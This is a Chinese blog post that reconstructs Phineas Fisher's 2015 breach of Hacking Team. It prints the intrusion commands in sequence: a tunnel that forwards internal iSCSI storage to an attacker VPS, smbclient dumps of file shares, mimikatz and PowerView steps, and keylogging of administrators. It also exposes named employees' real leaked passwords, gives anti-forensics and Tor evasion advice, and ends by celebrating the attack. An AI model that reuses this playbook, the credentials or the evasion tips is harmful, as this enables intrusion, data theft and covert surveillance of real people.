Part1 前言
大家好,我是ABC_123。意大利黑客组织Hacking Team曾经是全球非常知名的黑客军火商(贩卖攻击武器、0day漏洞),同时也协助政府进行攻击和监控,也对网络罪犯和恐怖组织进行攻击。在2015年7月,著名黑客Phineas Fisher(有可能是西班牙国籍)成功渗透进入Hacking Team内部网络,窃取了超过400G数据,包括电子邮件内容、客户名单、合同文件、武器库源代码,并免费公布在互联网上。Phineas Fisher的宣言是:黑客是一种强大的工具,让我们学习并战斗。Phineas Fisher后续公布了整个攻击过程,网上的文章存在部分翻译错误和攻击流程错误,今天ABC_123重新梳理复盘整个流程,分享给大家。
Part2 技术研究过程
首先来一张ABC_123画的一个攻击路线图,让大家有一个直观的感受。
隐藏身份与反取证反溯源
Phineas Fisher认为,很多有国背景的APT组织被追踪溯源,是因为他们反复使用相同的工具、留下一样的指纹,甚至使用相同的域名和邮箱。这些组织之所以疏忽,是因为他们即使被查也不会受到法律制裁。Phineas Fisher为了解决这一问题,在攻击Hacking Team的时候,特意使用了新的邮箱、服务器和域名,购买记录都是使用的比特币;尽量使用公开工具或者专门为此次攻击编写的工具,并刻意更改了一些操作方式,避免留下取证痕迹。在正式攻击的时候,Phineas Fisher搭建了一个虚拟机环境,并保证虚拟机所有的流量都经过Tor洋葱头匿名网络。Tor并不是万能的,他们可能会将你连接Tor的时间与你“黑客身份”活跃的时间进行关联分析。也可以连接别人的wifi或者使用VPN节点去连接Tor,但是仍然可以通过家庭网络与黑客行为进行时间关联。结论是,虽然Tor不完美,但是效果仍然不错。
Phineas Fisher建议不要在Tor出口节点进行黑客攻击活动,因为Tor的出口节点会被广泛拉黑干扰,使其网络访问速度变慢,并且无法接收反弹shell连接。Tor的作用是帮助黑客们连接基础设置的时候,保持匿名性。Phineas Fisher的基础设施是这样搭配使用的:域名用于远控服务器(C&C)的地址,也可以用DNS隧道进行反向代理;稳定的服务器IP,用于作为C&C控制节点,接收反弹shell,发起攻击,或存储获取的数据资料;被入侵服务器,作为跳板机,隐藏稳定服务器的真实IP。或者使用他们进行端口扫描、全网扫描、sql注入猜解数据等。
信息收集过程
Phineas Fisher列举出了其使用的信息收集技巧:Google搜索:只需几个精心构造的关键词,就能找到很多有趣的内容;子域名搜索:除了发现很多资产,还可以得知目标公司使用的IP段,他推荐的工具有fierce、theHarvester、recon-ng,theHarvester与recon-ng可以快速、自动地搜集大量信息,非常值得通读它们的完整文档;Whois查询与反查:通过whois查询域名或IP所属公司信息后,反向查找可以发现该公司使用的其他域名和IP段;端口扫描与指纹识别:Phineas Fisher推荐了nmap,可以识别大多数服务;如果目标ip段比较大,可以使用更快的zmap和masscan,指纹识别可以使用WhatWeb、BlindElephant。社交网络信息收集:LinkedIn可以找到大量的员工信息,data.com原名jigsaw收录了大量的员工联系方式;文件元数据收集:公司发布的各种文档需要重点关注,里面有员工和系统的一些重要数据,也可以使用工具metagoofil和FOCA。
攻击策略分析
鱼叉式社工钓鱼:这是大多数攻击案例的手段,但是Phineas Fisher认为,Hacking Team组织经常做定向钓鱼,因此对此类攻击行为较为敏感,成功率非常低,故放弃钓鱼邮件这一社工技术。
从黑市购买权限:经过分析,Phineas Fisher认为Hacking Team是一家非常小的公司,大多数员工是网络安全专家,因此他们内部早被入侵的可能性非常低。
暴露面分析:Hacking Team公司在互联网上暴漏的资产非常少,仅有一个公网IP段:93.62.139.32 - 93.62.139.47,他们的很多站点需要客户端证书才能访问。排除之后,主要的薄弱点有以下这些:一个主网站,基于Joomla搭建的博客,后续使用Joomscan未发现高危漏洞;此外外网还有一个邮件服务器、几个路由器、两个VPN设备、以及一个垃圾邮件过滤设备。
因此Phineas Fisher有三个选择:1、找到Joomla的0day;2、找到postfix(邮件服务器) 的0day;3、找到某个嵌入式设备的0day。Phineas Fisher认为从嵌入式设备下手最容易。于是经过两周的逆向分析,挖掘到了一个远程获取root漏洞,即SonicWall SSL-VPN的bash命令注入漏洞。
漏洞利用前的武器库打造
在使用此嵌入式设备漏洞正式攻击之前,Phineas Fisher做了大量的准备和测试,专门编写了一个嵌入式设备的固件后门,并编译了很多可以在该嵌入式设备运行的后渗透工具。后门的作用就是为了保护该0day漏洞不被分析到,只使用一次漏洞,然后通过后门访问,可以让漏洞更难被发现和修补。
Phineas Fisher最担心的情况是:自己写后门或编译的后渗透工具使目标系统不稳定,引起员工注意从而触发应急响应流程。因此,花费了一整周时间,在其他也存在漏洞的公司网络中测试漏洞利用流程、后门和工具包,确保一切稳定可靠后才打算正式通过漏洞利用进入Hacking Team的网络。
Phineas Fisher给出的后渗透包括busybox,为了提供系统缺失的大部分unix工具;nmap,用于扫描和识别Hacking Team内网中的主机和服务;Responder.py,在没有域账户的情况下攻击Windows网络最有效的工具;Python环境,用于执行Responder.py;tcpdump,用于抓包分析流量;dsniff用于抓取明文协议(如FTP)中的密码,也用于ARP欺骗。Socat,用于获取一个带有pty的shell;Screen,和pty shell类似,不是必须;SOCKS代理服务器,与proxychains搭配使用,以便通过任意程序访问其内网;tgcd,通过防火墙转发端口,例如为SOCKS代理转发流量。
内网横向扫描获取MongoDB数据库音频
Phineas Fisher通过嵌入式固件漏洞获取外网的一个shell,并进入了Hacking Team的内网。启动了Responder.py的分析模式(-A参数,只监听、不发送投毒回应),然后用nmap做了一个慢速扫描。
首先Phineas Fisher尝试了Mysql的各种认证绕过漏洞,没有收获;然后扫描了内网存活的NoSQL数据库,发现了Hacking Team内网有几台未授权访问的MongoDB数据库。经过分析发现,这些数据库是RCS(远程控制系统)测试环境的,在MongoDB中的GridFS里保存了RCS录制的音频。后来Phineas Fisher通过bt种子公布出来的音频文件夹就是从这里获取的。
27017/tcp open mongodb MongoDB 2.6.5| mongodb-databases:| ok = 1| totalSizeMb = 47547| totalSize = 49856643072...| version = 2.6.527017/tcp open mongodb MongoDB 2.6.5| mongodb-databases:| ok = 1| totalSizeMb = 31987| totalSize = 33540800512| databases...| version = 2.6.5
扫描探测到达iSCSI存储设备网
虽然发现了录音文件、也可以看到HackingTeam开发黑客工具的摄像头画面,但是这些内容都不是最有价值的,所以还需要继续内网横向。最终Phineas Fisher发现了iSCSI存储设备(iSCSI允许服务器通过TCP/IP网络连接远程磁盘阵列,就像访问本地硬盘一样),这些设备本应该处在隔离网络中,但是nmap扫描192.168.200.0/24网段时发现了这些设备。Hacking Team内网SAN主存储设施使用Equallogic PS4000,备份设施使用Dell MD3000i iSCSI存储区域网络DELL PowerVault MD3000i
...3260/tcpopeniscsi?|iscsi-info:|Target: iqn.2000-01.com.synology:ht-synology.name|Address:192.168.200.66:3260,0|_Authentication:NoauthenticationrequiredNmapscan reportforsynology-backup.hackingteam.local (192.168.200.72)...3260/tcpopeniscsi?|iscsi-info:|Target: iqn.2000-01.com.synology:synology-backup.name|Address:10.0.1.72:3260,0|Address:192.168.200.72:3260,0|_Authentication:Noauthenticationrequired
iSCSI协议需要内核模块,不方便在嵌入式设备上编译,将内网的iSCSI服务,通过tgcd隧道转发到VPS上的127.0.0.1:3260,再在VPS上使用iscsiadm进行访问。
VPS: tgcd -L -p3260-q42838Sistemaembebida: tgcd -C -s192.168.200.72:3260-c VPS_IP:42838VPS: iscsiadm -m discovery -t sendtargets -p127.0.0.1
iSCSI发现了iqn.2000-01.com.synology,但由于目标地址不是127.0.0.1而是192.168.200.72,因此挂载失败。解决方法是使用iptables做地址转换,将本机进程发往192.168.200.72的流量 重定向(DNAT)到127.0.0.1,即重写目标地址。
iptables-t nat -A OUTPUT -d192.168.200.72-j DNAT--to-destination127.0.0.1
接着就可以成功挂载,使用iscsiadm在Linux系统上发起一个iSCSI登录请求,连接一个特定的iSCSI target:
iscsiadm-m node --targetname=iqn.2000-01.com.synology:synology-backup.name-p192.168.200.72--login
设备文件出现后,使用vmfs-fuse挂载一个文件系统:
vmfs-fuse -o ro /dev/sdb1 /mnt/tmp
里面是多个虚拟机的备份。其中最有趣的是Exchange邮件服务器的备份;虽然太大无法直接下载,但可以远程挂载进行分析。将Exchange.hackingteam.com-flat.vmdk文件绑定为loop设备/dev/loop0,这是一个VMware磁盘文件,.flat.vmdk是实际数据部分(raw格式)。
$losetup /dev/loop0 Exchange.hackingteam.com-flat.vmdk
查看分区表偏移,发现偏移为2048 * 512 = 1048576
$ fdisk-l/dev/loop0/dev/loop0p1204812582871036291425287HPFS/NTFS/exFATso the offsetis2048*512=1048576
在正确偏移挂载loop分区,相当于将第一个分区单独拿出来。
losetup -o 1048576 /dev/loop1 /dev/loop0
挂载该分区到文件系统,查看其中的文件。把loop分区/dev/loop1挂载到/mnt/exchange/,以只读方式访问
mount -o ro /dev/loop1 /mnt/exchange/
在/mnt/exchange/WindowsImageBackup/EXCHANGE/Backup 2014-10-14 172311中找到VM硬盘镜像VHD文件:使用vdfuse将VHD文件挂载为一个虚拟磁盘。
dfuse -r -t VHD -f f0f78089-d28a-11e2-a92c-005056996a44.vhd/mnt/vhd-disk/
把VHD文件中的第一个分区挂载到/mnt/part1
mount -o loop /mnt/vhd-disk/Partition1 /mnt/part1
最后,就可以在/mnt/part1看到所有老的邮件交换服务器上的东西了。
从备份磁盘到域管理员权限
接下来Phineas Fisher分析这些备份的磁盘文件,通过各种方法查看是否有密码或者可以提取哈希,以便用来访问内网中其他的服务器,获取相应权限。对注册表hive使用了pwdump、cachedump和lsadump,lsadump成功找到了besadmin服务账户的密码,BES (BlackBerry Enterprise Server)管理员账户密码:_SC_BlackBerry MDS Connection Service ... bes32678!!!。
_SC_BlackBerryMDS Connection Service000016000000000000000000000000000000................001062006500730033003200360037003800b.e.s.3.2.6.7.8.002021002100210000000000000000000000!.!.!...........
接下来,Phineas Fisher使用部署在外网嵌入式设备的Socks5代理程序,结合Proxychains进行代理,使用smbclient对内网192.168段的ip进行密码尝试,最终成功登录192.168.100.51这个服务器,而且该用户具有本地管理员权限。
proxychainssmbclient'//192.168.100.51/c$'-U'hackingteam.local/besadmin%bes32678!!!'
随后,Phineas Fisher使用Metasploit的psexec_psh模块获取了一个meterpreter session,并迁移到64位进程,执行mimikatz模块的load kiwi、creds_wdigest命令,提取系统明文密码。
获取了一批明文密码,其中包括域管理员账号:
python-replHACKINGTEAMAdministrator uu8dd8ndd12!HACKINGTEAMc.pozzi P4ssword <---- 这管理员真是有点随便HACKINGTEAMm.romeo ioLK/(90...
获取邮服权限并搜索邮件内容
此时,Phineas Fisher已经拥有了域管理员密码,从而获取了Hacking Team公司邮箱的最高权限。此时每执行一步都有可能触发告警,于是通过powershell下载邮件数据再继续分析。
-ContentFilter{(Received-ge'05/06/2015')-or(Sent-ge'05/06/2015')}
下载局域网共享文件
接着使用Socks代理和smbclient的-Tc选项下载文件共享内容。Phineas Fisher公布的Hacking Team的种子文件中的Amministrazione、FAE DiskStation和FileServer文件夹就是从这里搞下来的。
proxychainssmbclient'//192.168.1.230/FAE DiskStation'-U'HACKINGTEAM/Administrator%uu8dd8ndd12!'-Tc FAE_DiskStation.tar'*'
Windows域环境的入侵
Phineas Fisher分享了一些关于Windows网络攻击的技术:
1.横向移动:所有远程执行技术都需要目标主机上的本地管理员账号密码或哈希,最常用的方法是mimikatz的sekurlsa::logonpasswords和sekurlsa::msv。横向工具包括psexec、WMI、PSRemoting、GPO等。本地渗透也需管理员权限(除runas),推荐的提权工具有:PowerUp、BypassUAC。可以盗取一些token、使用MS14-068、进程注入等,比如meterpreter、pupy中的migrate命令,或者pwershell中的psinject命令。
2.持久化方法:Phineas Fisher采用了类似于Duqu2病毒的驻留内存的持久化方法,选了几台高在线率的服务器驻留内存型后门。为了防止他们同时重启,Phineas Fisher还是用了黄金票据作为备用通道。
- 内网侦察:Phineas Fisher认为分析Windows最好用的工具不是Powerview,如果遇到Windows2003,由于服务器上没有powershell,所以也得用传统的检测方式,如netview工具或者系统自带的net view命令等。
4.下载文件名列表:Phineas Fisher推荐的在获取域管权限之后,可以使用PowerView下载网络中所有共享文件的完整路径,然后可以慢慢分析文件列表,挑最想下载的文件。例如:
Inqvoke-ShareFinderThreaded-ExcludedSharesIPC$,PRINT$,ADMIN$|select-string'^(.*) \t-'| %{dir-recurse$_.Matches[0].Groups[1]|selectfullname |out-file-appendfiles.txt}
5.阅读邮件:正如前面所述,PowerShell可以导出Exchange邮箱,里头信息丰富。
6.查看SharePoint:很多企业在SharePoint上保存了关键资料。PowerShell同样可以批量导出。
7.Active Directory:AD中包含用户、主机、组织单位、组等结构性信息。即使不是域管,也可以用Powerview获取大量数据;成为域管后,更应用csvde等工具导出全量AD数据。
8.监视员工活动:甚至可以狩猎系统管理员,只需用PowerSploit的Get-Keystrokes和Get-TimedScreenshot,再加上Nishang的Do-Exfiltration和GPO策略,就可以监视任何员工,甚至整个域。通过监控Christian Pozzi(HT的管理员)获得了Nagios服务器的访问权限,从而进入了研发网络(Rete Sviluppo),即RCS源码存储区。
猎杀关键员工的个人机,获取加密盘
Phineas Fisher经过分析Hacking Team的内部网络架构文档,发现还没有达到“Rete Sviluppo”(研发网络),也就是保存RCS源码的隔离网段。系统管理员通常拥有全网权限,所以开始分析Mauro Romeo和Christian Pozzi这两个人的主机:这两个主机在Phineas Fisher控制的域内,于是可以直接获取权限。
Mauro的机器没有开放端口,于是远程开启wmi的135端口,并运行了meterpreter;随即使用了Get-Keystrokes、Get-TimeScreenshot,使用了大量metasploit /gather/模块进行信息收集、CredMan.ps1脚本还有搜索关键文件。最后发现Pozzi使用了TrueCrypt加密盘,Phineas Fisher便等他挂载后立刻把内容拷了出来(注意,这里面不是网上流传的使用了弱口令)。不管密码强不强,mimikatz和键盘记录器都是一样可以获取这些密码的。
分析加密盘横向到研发网络
在Pozzi的TrueCrypt卷中,Phineas Fisher找到一个包含多个密码的文本文件。其中一个密码是用于管理Nagios服务器的,该服务器正好连接着Sviluppo(研发网络),用来监控它。这就是关键跳板机。虽然文本中只是web界面密码,但幸运的是存在公开的远程代码执行漏洞,非认证漏洞,但至少得有一个用户活跃会话,正好找到了密码。
重置GitLab及Twitter账号密码
Phineas Fisher在分析Hacking Team的邮件时发现,Daniele Milan有分发git仓库访问权限,于是通过Mimikatz获取他的Windows密码,成功登录git服务器;然后尝试执行sudo提权也成功了。接着Phineas Fisher对GitLab和他们的Twitter账号使用了“忘记密码”功能,配合Phineas Fisher控制的HackingTeam邮件服务器重置了密码。
Part3 总结
1.上述过程是由Phineas Fisher完整描述的,ABC_123对其中的内容进行了翻译错误的纠正,删去了大量与实战利用过程无关的内容。
2.Phineas Fisher表示,这就是黑客之美,体现了网络对抗的非对称性,个人只需投入100小时,就能摧毁一家投入多年、资金千万的企业。黑客让弱者也有机会奋起反击,甚至赢得胜利。
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